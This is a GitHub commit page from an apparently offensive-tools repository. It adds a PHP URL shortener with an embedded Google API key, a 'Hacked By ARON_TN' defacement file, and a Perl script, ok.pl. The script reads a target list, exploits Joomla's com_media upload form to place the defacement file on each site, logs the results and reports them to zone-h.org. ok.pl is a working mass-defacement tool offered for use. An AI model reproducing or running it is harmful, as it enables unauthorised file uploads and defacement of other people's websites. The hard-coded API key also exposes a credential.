Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Aron-Tn authored Aug 24, 2019
1 parent a25de66 commit d26b22f
Show file tree
Hide file tree
Showing 4 changed files with 146 additions and 0 deletions.
61 changes: 61 additions & 0 deletions tools/cut-url/kv.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
#!/data/data/com.termux/files/usr/bin/php
<?php
if(strtolower(substr(PHP_OS, 0, 3)) == "win") {
$bersih="cls";
} else {
$bersih="clear";
}
function input($echo) {
echo $echo." --> ";
}
menu:
system($bersih);
$green = "\e[92m";
$red = "\e[91m";
$yellow = "\e[93m";
$blue = "\e[36m";
echo "\n$yellow
______ _______
/ _____)(_______)
( (____ _ ___ _____ ____
\____ \ | | (_ || ___ || _ \
_____) )| |___) || ____|| | | |
(______/ \_____/ |_____)|_| |_|\n".$red.
"Shortlink Generator";
echo $blue."
Author : ARON-TN
Code : PHP
Github : https://github.com/aron-tn
Fr0M MegaBot
Version : 2
Date : 11-12-2018\n";
echo $red."=========================== MegaBot ))=====(@)>".$green."\n";
if(isset($argv[1])) {
$url=$argv[1];
} else {
echo "Usage : php short.php www.example.com\n";
die();
}
$param="https://www.googleapis.com/urlshortener/v1/url?key=AIzaSyDKvTCsXX3Vipbqyhj3a0JH1D3JYMuB5VM";
$post = array(
"longUrl"=> $url
);
$jsondata = json_encode($post);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$param);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-type:application/json"));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $jsondata);
$response=curl_exec($ch);
curl_close($ch);
$json=json_decode($response);
//print_r($json);
if(isset($json->error)) {
echo $json->error->message;
} else {
echo "Link : ".$json->longUrl."\n";
echo "Result : ".$json->id."\n";
}
echo $red."=========================== MegaBot ))=====(@)>".$green."\n";
Binary file added tools/d3f4c3r/hack.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
5 changes: 5 additions & 0 deletions tools/d3f4c3r/hack.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# Hacked By ARON_TN #




80 changes: 80 additions & 0 deletions tools/d3f4c3r/ok.pl
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
#!/usr/bin/perl

use Win32::Console::ANSI;
use Term::ANSIColor;
use LWP::UserAgent;
use HTTP::Request::Common;
if ($^O =~ /Win/) { system("cls"); } else { system("clear"); }
;

$file = $ARGV[1];
unless ($file) {
print"\n";
print"\n";
print colored (" --=[Coded by ARON-TN]",'red');
print colored (" \n\n --=[Usage : $0 list.txt file.jpg or file.txt",'green'),"\n\n";
print colored (" --=[T00L FROM : $0 X4PriV8 V2 ",'green'),"\n\n";
exit;
}
open(tarrget,"<$ARGV[0]") or die "$!";
while(<tarrget>){


chomp($_);

$aron = <>;

$aron = $_;
if($aron !~ /http:\/\//)
{
$aron = "http://$aron";
}
$zeeby = $aron."/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=";

print colored "\n\n [+] Scanning -> $aron",'green';

$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
$fucki = $ua->get($zeeby);
$kzz = $fucki->content;
if($kzz =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $kzz =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
{
print colored "\n [+] Try Upload >> $aron",'green'; sleep(1);

$url = $1;
$url =~ s/&amp;/&/gi;

} else { print colored "\n [-] com_media not found -> $aron",'red'; sleep(1); }

my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$file] ]);

$fuck = $aron."/images/".$file;

$check = $ua->get($fuck);
if($check->content =~/by/ || $check->is_success ) {

print colored "\n [+] File Uploaded >> $fuck\n",'yellow';

open(save ,">>aron.txt");
print save "$fuck\n";
close save;

$res= $ua->post("http://zone-h.org/notify/single",[
'defacer' => $age,
'domain1' => $fuck,
'hackmode' => '28',
'reason' => '1',
'submit' => 'Send',
]);
if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
print colored " [+] Submit zone-h $1\n",'red'; sleep(1);
}
else
{
print colored "\n [-] Submit zone-h ERROR\n",'blue'; sleep(1);
}

} else { print colored "\n [-] File Upload Fail",'red'; }


}

0 comments on commit d26b22f

Please sign in to comment.